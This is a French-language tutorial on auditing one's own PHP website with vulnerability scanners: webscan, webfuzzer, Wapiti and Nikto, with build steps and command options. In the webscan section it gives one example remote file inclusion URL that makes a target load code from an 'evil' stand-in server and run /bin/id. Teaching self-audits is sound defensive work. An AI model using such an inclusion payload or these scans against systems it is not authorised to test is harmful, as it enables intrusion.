|
Il y a actuellement 5 visiteurs connectés sur le site !
Auditer son site web sans mettre ses mains dans le cambouis
|
Auditer son site web sans mettre ses mains dans le cambouis
|
|
Introduction:
Vous avez decidé d'etoffer votre site web, ou bien de le creer, en y ajoutant du contenu
dynamique ,à l'aide de scripts php et malheureusement parfois il vous manque les competences ou du temps pour evaluer
les risques securitaires de vos extensions .
Ce tutorial a pour but de vous presenter des utilitaires qui en examinant les differentes failles que l'on trouve
actuellement sur le web, vont vous faciliter la vie ,et vous eviter peut-etre une intrusion dommageable
Css, injection de code sql , faille include ,les dangers sont multiples et on est jamais à l'abri d'une erreur
de programmation .Voici donc le premier de ces outils , webscan.
Webscan
Webscan est un testeur de site web qui verifie des vulnerabilites telles que l'injection sql, le cross site scripting, l'execution de code depuis une machine distante, une remontee des repertoires, des inclusions php, des shell escapes et appels en perl open().
L'archive se telecharge ici :
http://www.packetstormsecurity.nl/web/index6.html
Je n'ai pas trouve ce jour de paquetage rpm pour mandriva , il va donc falloir le compiler ,ce qui n'est pas bien
difficile
Une fois votre archive placee dans /usr/local , qui est le repertoire dans lequel j'installe les programmes diponibles
pour tous mes utilisateurs, en root et en console saisissez:
gunzip webscan-0.1.0.tar.gz
tar xvf webscan-0.1.0.tar
cd webscan-0.1.0
Jetez un coup d'oeil dans les fichiers technic.h et webscan.h afin d'ajouter ou d'adapter un schema d'attaque, et ensuite compilez en faisant
make
Ne tenez pas compte de Warnings ,le code compile sans probleme sur ma mandriva 2007
x86_64 AMD Athlon(tm) 64 Processor 3700+ GNU/Linux
Ensuite il s'agit de tester les vulnerabilites de votre site :
Ainsi que le mentionne le fichier README , les options a rajouter sont :
-s verifie les erreurs sql, asp, vb, php (par defaut)
-d verifie les traversees de repertoire
-p verifie les vulnerabilites perl comme open ou xss
-e verifie les executions comme les shell escapes ou xss
-a active tous les choix precedents
./webscan www.example.com -o logfile.txt -a
Une fois votre scan effectue, r�uperez le resultat dans le fichier logfile.txt que vous ouvrirez avec l'editeur de
votre choix .Chaque vulnerabilites possedent son correctif :
Par exemple si vous obtenez un avertissement du style :
<< Warning: Failed opening 'foo.php' for inclusion >>
getting http://www.example.com/index.php?z=foo
vous savez qu'il est possible d'appeler depuis un site web exterieur ,un fichier malicieux que vous appelerez avec un
http://www.example.com/index.php?z=http://www.yourserver.com/evil?cmd=/bin/id
Webfuzzer
Webfuzzer est un scanner de type webscan orientïe application, scannant les scripts perl, php, asp, cgi.
Il peut etre telecharge ici :
http://gunzip.altervista.org/g.php?f=projects#webfuzzer
Et se compile aussi :
gunzip webfuzzer-latest.tar.gz
tar xvf webfuzzer-latest.tar
cd devel
Jetez un coup d'oeil dans les fichiers technic.h et webfuzzer.h afin d'ajouter ou d'adapter un schema d'attaque, et ensuite compilez en faisant
make
Et testez enfin avec la commande :
./webfuzzer -G www.exemple.com -o logfile.txt -a
ou l'option G correspond à un scan d'url depuis son commencement , l'option a prenant en compte comme pour l'outil precedent toutes les vulnerabilites.
Le resultat du scan sera disponible dans le fichier logfile.txt
Wapiti
Wapiti est aussi un scanner de pages web qui recherche parmis les applications, les scripts et les formulaires, les
types de vulnerabilites suivants :
* Erreur dans les traitements de fichier
(include/require en local ou depuis l'exterieur, fopen, readfile...)
* Injections dans les bases de donnees (PHP/JSP/ASP SQL)
* Injections XSS (Cross Site Scripting)
* Injection LDAP
* Detection de commandes d'execution systeme
(eval(), system(), passtru()...)
* Injections CRLF
Wapiti est developpé en Python mais la librairie lswww n'analyse que les pages web correctement construites donc
il vous faudra installer des applications complementaires :
* HTML Tidy Library
* ctypes module
* uTidylib - Tidylib Python wrapper
Tidy s'installe via urpmi avec des sources à jour:
en root saisir urpmi tidy
Faites de meme pour ctypes et uTidyLib:
urpmi ctypes
urpmi uTidyLib
En revanche ,je n'ai pas trouve de rpm disponible pour wapiti ,donc nous allons compiler
Wapiti se telecharge ici :http://sourceforge.net/projects/wapiti/
Dans votre /usr/local et en root faites :
gunzip wapiti-1.1.6.tar.gz
tar xvf wapiti-1.1.6.tar
cd wapiti-1.1.6
Lancer maintenant une verification sur votre serveur
python wapiti.py http://server.com/
ou sur vos bases
python wapiti.py http://server.com/base/url/
Un exemple en recuperant les cookies du site vulnerable et en le scannant :
http://wapiti.sourceforge.net/example.txt
Je precise que cette methode et d'autres n'ont donne aucun resultat sur www.linux-pour-lesnuls.com,
merci de pas essayer de scanner le site en question.
Nikto
Nikto est aussi un scanner de failles mais sur une plus vaste echelle : 3300 fichiers et scripts potentiellement dangereux sont passes au crible .IL genere beaucoup de requetes et peut de ce fait , rendre indisponible votre serveur
Nikto peut etre mis à jour en utilisant l'option update , afin de rechercher les dernieres vulnerabilites.
Les options de Nikto sont disponibles à la page
http://www.cirt.net/nikto/README_nikto.html
Il s'installe tres facilement avec un urpmi nikto en console et en root
Pour un scan basique de votre serveur web sur le port 80
nikto -h www.votresite.com
Un scan de plusieurs ports sur le serveur
nikto -h www.votresite.com -p 80-90
Un scan de ports particuliers de votre systeme .
nikto -h www.votresite.com -p 80,443,8000,8080
Le fichier de configuration de Nikto se trouve dans /etc/nikto et se nomme nikto.conf
parcourons-le plus avant :
La ligne CLIOPTS permet de fixer des options de scan une fois pour toute,
vous pouvez donc scanner a votre facon (exemple -g) en decommentant la ligne et enlevant le -a final.
La ligne NMAP vous permet d'utiliser nmap et la ligne SKIPPORTS
permet d'eviter de scanner certains ports.
La ligne DEFAULTHTTPVER permet le choix de la version HTTP.
On peut passer par un proxy en decommentant les lignes PROXY.
Les lignes @CGIDIRS fixent le repertoire CGI par defaut .
Les parametres MUTATE augmentent le temps de scan de Nikto.
Les lignes @MUTATEDIRS indiquent quels repertoires scanner
La ligne @ADMINDIRS vous permet de fixer des repertoires admin .
La ligne @USERS est utile quand elle tente de deviner
le nom des utilisateurs et des repertoires HTML d'une cible .
D'autres scanners
Vous trouverez d'autres scanners de failles ici :
http://sectools.org/web-scanners.html
http://www.l0t3k.org/security/tools/vulnerabilityscanner/
Sources de l'article
|